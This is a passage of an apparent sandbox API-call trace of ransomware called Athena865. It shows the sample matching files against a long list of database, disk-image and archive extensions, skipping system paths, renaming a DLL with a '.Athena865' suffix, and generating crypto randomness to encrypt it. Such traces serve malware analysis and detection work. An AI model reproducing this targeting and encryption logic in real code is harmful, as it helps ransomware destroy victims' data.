1 [0114.430] lstrlenW (lpString="ba_") returned 3 [0114.430] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.430] lstrlenW (lpString="dbb") returned 3 [0114.430] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.430] lstrlenW (lpString="vmdk") returned 4 [0114.430] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.430] lstrlenW (lpString="rar") returned 3 [0114.430] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0114.430] lstrlenW (lpString="zip") returned 3 [0114.430] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0114.430] lstrlenW (lpString="tgz") returned 3 [0114.430] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.430] lstrlenW (lpString="vbox") returned 4 [0114.430] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.430] lstrlenW (lpString="vdi") returned 3 [0114.430] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.430] lstrlenW (lpString="vhd") returned 3 [0114.430] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.430] lstrlenW (lpString="vhdx") returned 4 [0114.430] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.430] lstrlenW (lpString="avhd") returned 4 [0114.430] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.430] lstrlenW (lpString="db") returned 2 [0114.431] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.431] lstrlenW (lpString="db2") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.431] lstrlenW (lpString="db3") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.431] lstrlenW (lpString="dbf") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.431] lstrlenW (lpString="mdf") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.431] lstrlenW (lpString="mdb") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0114.431] lstrlenW (lpString="sql") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.431] lstrlenW (lpString="sqlite") returned 6 [0114.431] lstrcmpiW (lpString1="SC.DLL", lpString2="sqlite") returned -1 [0114.431] lstrlenW (lpString="sqlite3") returned 7 [0114.431] lstrcmpiW (lpString1="ESC.DLL", lpString2="sqlite3") returned -1 [0114.431] lstrlenW (lpString="sqlitedb") returned 8 [0114.431] lstrcmpiW (lpString1="RESC.DLL", lpString2="sqlitedb") returned -1 [0114.431] lstrlenW (lpString="xml") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.431] lstrlenW (lpString="$er") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.431] lstrlenW (lpString="4dd") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.431] lstrlenW (lpString="4dl") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.431] lstrlenW (lpString="^^^") returned 3 [0114.431] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.432] lstrlenW (lpString="abs") returned 3 [0114.432] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.432] lstrlenW (lpString="abx") returned 3 [0114.432] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.432] lstrlenW (lpString="accdb") returned 5 [0114.432] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0114.432] lstrlenW (lpString="accdc") returned 5 [0114.432] lstrcmpiW (lpString1="C.DLL", lpString2="accdc") returned 1 [0114.432] lstrlenW (lpString="accde") returned 5 [0114.432] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0114.432] lstrlenW (lpString="accdr") returned 5 [0114.432] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0114.432] lstrlenW (lpString="accdt") returned 5 [0114.432] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0114.432] lstrlenW (lpString="accdw") returned 5 [0114.432] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0114.432] lstrlenW (lpString="accft") returned 5 [0114.432] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0114.432] lstrlenW (lpString="adb") returned 3 [0114.432] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.432] lstrlenW (lpString="adb") returned 3 [0114.432] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.432] lstrlenW (lpString="ade") returned 3 [0114.432] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.432] lstrlenW (lpString="adf") returned 3 [0114.432] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.432] lstrlenW (lpString="adn") returned 3 [0114.432] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.432] lstrlenW (lpString="adp") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.433] lstrlenW (lpString="alf") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.433] lstrlenW (lpString="ask") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.433] lstrlenW (lpString="btr") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.433] lstrlenW (lpString="cat") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.433] lstrlenW (lpString="cdb") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.433] lstrlenW (lpString="ckp") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.433] lstrlenW (lpString="cma") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.433] lstrlenW (lpString="cpd") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.433] lstrlenW (lpString="dacpac") returned 6 [0114.433] lstrcmpiW (lpString1="SC.DLL", lpString2="dacpac") returned 1 [0114.433] lstrlenW (lpString="dad") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.433] lstrlenW (lpString="dadiagrams") returned 10 [0114.433] lstrlenW (lpString="daschema") returned 8 [0114.433] lstrcmpiW (lpString1="RESC.DLL", lpString2="daschema") returned 1 [0114.433] lstrlenW (lpString="db-journal") returned 10 [0114.433] lstrlenW (lpString="db-shm") returned 6 [0114.433] lstrcmpiW (lpString1="SC.DLL", lpString2="db-shm") returned 1 [0114.433] lstrlenW (lpString="db-wal") returned 6 [0114.433] lstrcmpiW (lpString1="SC.DLL", lpString2="db-wal") returned 1 [0114.433] lstrlenW (lpString="dbc") returned 3 [0114.433] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.434] lstrlenW (lpString="dbs") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.434] lstrlenW (lpString="dbt") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.434] lstrlenW (lpString="dbv") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.434] lstrlenW (lpString="dbx") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.434] lstrlenW (lpString="dcb") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.434] lstrlenW (lpString="dct") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.434] lstrlenW (lpString="dcx") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.434] lstrlenW (lpString="ddl") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.434] lstrlenW (lpString="dlis") returned 4 [0114.434] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0114.434] lstrlenW (lpString="dp1") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0114.434] lstrlenW (lpString="dqy") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0114.434] lstrlenW (lpString="dsk") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0114.434] lstrlenW (lpString="dsn") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0114.434] lstrlenW (lpString="dtsx") returned 4 [0114.434] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0114.434] lstrlenW (lpString="dxl") returned 3 [0114.434] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0114.435] lstrlenW (lpString="eco") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0114.435] lstrlenW (lpString="ecx") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0114.435] lstrlenW (lpString="edb") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0114.435] lstrlenW (lpString="epim") returned 4 [0114.435] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0114.435] lstrlenW (lpString="fcd") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0114.435] lstrlenW (lpString="fdb") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0114.435] lstrlenW (lpString="fic") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0114.435] lstrlenW (lpString="flexolibrary") returned 12 [0114.435] lstrlenW (lpString="fm5") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0114.435] lstrlenW (lpString="fmp") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0114.435] lstrlenW (lpString="fmp12") returned 5 [0114.435] lstrcmpiW (lpString1="C.DLL", lpString2="fmp12") returned -1 [0114.435] lstrlenW (lpString="fmpsl") returned 5 [0114.435] lstrcmpiW (lpString1="C.DLL", lpString2="fmpsl") returned -1 [0114.435] lstrlenW (lpString="fol") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0114.435] lstrlenW (lpString="fp3") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0114.435] lstrlenW (lpString="fp4") returned 3 [0114.435] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0114.436] lstrlenW (lpString="fp5") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0114.436] lstrlenW (lpString="fp7") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0114.436] lstrlenW (lpString="fpt") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0114.436] lstrlenW (lpString="frm") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0114.436] lstrlenW (lpString="gdb") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.436] lstrlenW (lpString="gdb") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.436] lstrlenW (lpString="grdb") returned 4 [0114.436] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0114.436] lstrlenW (lpString="gwi") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0114.436] lstrlenW (lpString="hdb") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0114.436] lstrlenW (lpString="his") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0114.436] lstrlenW (lpString="ib") returned 2 [0114.436] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0114.436] lstrlenW (lpString="idb") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0114.436] lstrlenW (lpString="ihx") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0114.436] lstrlenW (lpString="itdb") returned 4 [0114.436] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0114.436] lstrlenW (lpString="itw") returned 3 [0114.436] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0114.437] lstrlenW (lpString="jet") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0114.437] lstrlenW (lpString="jtx") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0114.437] lstrlenW (lpString="kdb") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0114.437] lstrlenW (lpString="kexi") returned 4 [0114.437] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0114.437] lstrlenW (lpString="kexic") returned 5 [0114.437] lstrcmpiW (lpString1="C.DLL", lpString2="kexic") returned -1 [0114.437] lstrlenW (lpString="kexis") returned 5 [0114.437] lstrcmpiW (lpString1="C.DLL", lpString2="kexis") returned -1 [0114.437] lstrlenW (lpString="lgc") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0114.437] lstrlenW (lpString="lwx") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0114.437] lstrlenW (lpString="maf") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0114.437] lstrlenW (lpString="maq") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0114.437] lstrlenW (lpString="mar") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0114.437] lstrlenW (lpString="marshal") returned 7 [0114.437] lstrcmpiW (lpString1="ESC.DLL", lpString2="marshal") returned -1 [0114.437] lstrlenW (lpString="mas") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0114.437] lstrlenW (lpString="mav") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0114.437] lstrlenW (lpString="maw") returned 3 [0114.437] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0114.438] lstrlenW (lpString="mdbhtml") returned 7 [0114.438] lstrcmpiW (lpString1="ESC.DLL", lpString2="mdbhtml") returned -1 [0114.438] lstrlenW (lpString="mdn") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0114.438] lstrlenW (lpString="mdt") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0114.438] lstrlenW (lpString="mfd") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0114.438] lstrlenW (lpString="mpd") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0114.438] lstrlenW (lpString="mrg") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0114.438] lstrlenW (lpString="mud") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0114.438] lstrlenW (lpString="mwb") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0114.438] lstrlenW (lpString="myd") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0114.438] lstrlenW (lpString="ndf") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0114.438] lstrlenW (lpString="nnt") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0114.438] lstrlenW (lpString="nrmlib") returned 6 [0114.438] lstrcmpiW (lpString1="SC.DLL", lpString2="nrmlib") returned 1 [0114.438] lstrlenW (lpString="ns2") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0114.438] lstrlenW (lpString="ns3") returned 3 [0114.438] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0114.438] lstrlenW (lpString="ns4") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0114.439] lstrlenW (lpString="nsf") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0114.439] lstrlenW (lpString="nv") returned 2 [0114.439] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0114.439] lstrlenW (lpString="nv2") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0114.439] lstrlenW (lpString="nwdb") returned 4 [0114.439] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0114.439] lstrlenW (lpString="nyf") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0114.439] lstrlenW (lpString="odb") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.439] lstrlenW (lpString="odb") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.439] lstrlenW (lpString="oqy") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0114.439] lstrlenW (lpString="ora") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0114.439] lstrlenW (lpString="orx") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0114.439] lstrlenW (lpString="owc") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0114.439] lstrlenW (lpString="p96") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0114.439] lstrlenW (lpString="p97") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0114.439] lstrlenW (lpString="pan") returned 3 [0114.439] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0114.440] lstrlenW (lpString="pdb") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0114.440] lstrlenW (lpString="pdm") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0114.440] lstrlenW (lpString="pnz") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0114.440] lstrlenW (lpString="qry") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0114.440] lstrlenW (lpString="qvd") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0114.440] lstrlenW (lpString="rbf") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0114.440] lstrlenW (lpString="rctd") returned 4 [0114.440] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0114.440] lstrlenW (lpString="rod") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0114.440] lstrlenW (lpString="rodx") returned 4 [0114.440] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0114.440] lstrlenW (lpString="rpd") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0114.440] lstrlenW (lpString="rsd") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0114.440] lstrlenW (lpString="sas7bdat") returned 8 [0114.440] lstrcmpiW (lpString1="RESC.DLL", lpString2="sas7bdat") returned -1 [0114.440] lstrlenW (lpString="sbf") returned 3 [0114.440] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0114.440] lstrlenW (lpString="scx") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0114.441] lstrlenW (lpString="sdb") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0114.441] lstrlenW (lpString="sdc") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0114.441] lstrlenW (lpString="sdf") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0114.441] lstrlenW (lpString="sis") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0114.441] lstrlenW (lpString="spq") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0114.441] lstrlenW (lpString="te") returned 2 [0114.441] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0114.441] lstrlenW (lpString="teacher") returned 7 [0114.441] lstrcmpiW (lpString1="ESC.DLL", lpString2="teacher") returned -1 [0114.441] lstrlenW (lpString="tmd") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0114.441] lstrlenW (lpString="tps") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0114.441] lstrlenW (lpString="trc") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.441] lstrlenW (lpString="trc") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.441] lstrlenW (lpString="trm") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0114.441] lstrlenW (lpString="udb") returned 3 [0114.441] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0114.442] lstrlenW (lpString="udl") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0114.442] lstrlenW (lpString="usr") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0114.442] lstrlenW (lpString="v12") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0114.442] lstrlenW (lpString="vis") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0114.442] lstrlenW (lpString="vpd") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0114.442] lstrlenW (lpString="vvv") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0114.442] lstrlenW (lpString="wdb") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0114.442] lstrlenW (lpString="wmdb") returned 4 [0114.442] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0114.442] lstrlenW (lpString="wrk") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0114.442] lstrlenW (lpString="xdb") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0114.442] lstrlenW (lpString="xld") returned 3 [0114.442] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0114.442] lstrlenW (lpString="xmlff") returned 5 [0114.442] lstrcmpiW (lpString1="C.DLL", lpString2="xmlff") returned -1 [0114.442] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.Athena865") returned 76 [0114.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.athena865"), dwFlags=0x1) returned 1 [0114.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0114.448] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=261008) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.449] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.449] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.449] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.449] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fe90, lpName=0x0) returned 0x154 [0114.451] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3fe90) returned 0x170000 [0114.474] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.475] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.475] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.476] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0114.478] CloseHandle (hObject=0x154) returned 1 [0114.478] CloseHandle (hObject=0x17c) returned 1 [0114.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.479] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0114.479] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="..") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="windows") returned -1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="bootmgr") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="temp") returned -1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="pagefile.sys") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="boot") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="ids.txt") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="ntuser.dat") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="perflogs") returned 1 [0114.480] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="MSBuild") returned 1 [0114.480] lstrlenW (lpString="PRJRES.DLL") returned 10 [0114.480] lstrcpyW (in: 